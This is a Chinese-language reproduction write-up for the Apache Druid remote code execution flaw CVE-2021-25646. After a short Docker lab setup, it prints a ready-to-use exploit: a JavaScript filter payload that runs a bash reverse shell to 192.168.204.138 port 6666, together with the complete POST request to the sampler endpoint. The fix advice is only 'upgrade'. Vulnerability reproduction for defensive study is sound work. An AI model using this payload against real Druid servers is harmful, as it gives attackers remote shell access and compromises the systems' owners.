Apache Druid RCE（CVE-2021-25646）复现

漏洞概述

 

Apache Druid 是用Java编写的面向列的开源分布式数据存储，旨在快速获取大量事件数据，并在数据之上提供低延迟查询。
Apache Druid 默认情况下缺乏授权认证，攻击者可以发送特制请求，利用Druid服务器上进程的特权执行任意代码。

 

影响版本

 

Apache Druid < 0.20.1

 

环境搭建

 

这里使用docker来搭建

拉取镜像并启动Apache Druid:0.16.0版本的环境

docker pull fokkodriesprong/docker-druid

docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

访问your-ip:8888即可看到页面

 

漏洞复现

 

点击Load data -> Local disk

依次填入

Base directory:

quickstart/tutorial/

File filter:

wikiticker-2015-09-12-sampled.json.gz

默认next

到filter项

抓包修改filter为

{    "type":"javascript",    "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.204.138/6666 0>&1

')}",    "dimension":"added",    "":{    "enabled":"true"    }}

 

 

然后发送POST数据包

POST /druid/indexer/v1/sampler?for=schema HTTP/1.1

Host: 192.168.204.138:8888

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json;charset=utf-8

Content-Length: 1018

Origin: http://192.168.204.138:8888

Connection: close

Referer: http://192.168.204.138:8888/unified-console.html



{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",

"function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.204.138/6666 0>&1')}",

"dimension":"added",

"":{

"enabled":"true"

}

}}}},"samplerConfig":{"numRows":500,"cacheKey":"79a5be988bf94d42a6f219b63ff27383"}}

成功反弹shell

 

修复建议

 

升级到安全版本